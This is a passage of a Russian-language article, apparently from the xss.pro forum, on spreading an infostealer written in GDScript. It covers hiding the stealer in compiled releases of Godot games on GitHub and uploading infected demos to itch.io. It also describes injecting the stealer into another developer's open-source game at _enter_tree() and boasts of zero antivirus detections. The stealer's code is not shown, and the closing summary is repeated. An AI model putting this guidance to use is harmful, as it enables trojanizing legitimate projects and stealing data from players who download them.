Есть несколько вариантов, как сделать это через GitHub:- Голый скрипт внутри исходников какой-либо игры. Разумеется, это очень опасно, так как существует шанс, что даже если проект игры огромный, кто-то начнёт разбираться в его исходниках и заметит скрипт и адрес, куда всё отправляется. Так что этот метод мне кажется не самым лучшим.
- В исходниках приложить чистый проект игры, а в релизе указать скомпилированный проект уже с нашим скриптом. Как правило, когда кто-то хочет взять проект игры, сначала скачивают его демо-версию, поэтому шанс того, что человек скачает релизную версию, довольно велик.
itch.io
Также демку игры можно распространять на сайте для инди-разработчиков itch.io. Поток пользователей на данном сайте достаточно большой, и скачивают и запускают даже самые простые игры, типа змейки, так что вам будет достаточно найти исходники любого 2D проекта, прикрутить скрипт, скомпилировать и загрузить на сайт. Так как малварь написан на GDScript, его не обнаружат, поэтому на данном сайте он может "пролежать" довольно долго. Это также относится и к GitHub.
Встраиваем стиллер в чужой проект игры
С методами распространения разобрались, теперь рассмотрим, как наш малварь встроить в рандомную игру. Для примера была взята эта игра — https://github.com/TinyTakinTeller/GodotProjectZero.После импортирования проекта в Godot, переходим к главной ноде и открываем скрипт игры.
Пихаем в любое место этого скрипта наш малварь, начиная со строки с функцией
_enter_tree().
Компилируем игру со стиллером
После компиляции игры у нас будет два файла. Собственно говоря, просто запускаем exe файл, и в итоге у нас запустится игра и малварь в том числе.
Детекты
А что же по детектам? А ничего, их просто напросто нет и не будетСсылка на VirusTotal - https://www.virustotal.com/gui/file/3704990acd39d295419cf23d64f69be55628022a3a1e442065ffd05594a1e358
Итоги статьи
На этом статья подходит к своему заключению и что же мы имеем по итогу?
Малварь с нулевыми детектами.
Простой способ встраивания малваря в различные сторонние проекты.
Легкий и эффективный способ распространения для самых маленьких.
Ну и пожалуй на этом все, спасибо всем кто дочитал данную статью, надеюсь она вам понравилась.
Малварь с нулевыми детектами.
Простой способ встраивания малваря в различные сторонние проекты.
Легкий и эффективный способ распространения для самых маленьких.
Ну и пожалуй на этом все, спасибо всем кто дочитал данную статью, надеюсь она вам понравилась.
Разработано специально для конкурса статей на форуме xss.pro
Вложения
Последнее редактирование модератором: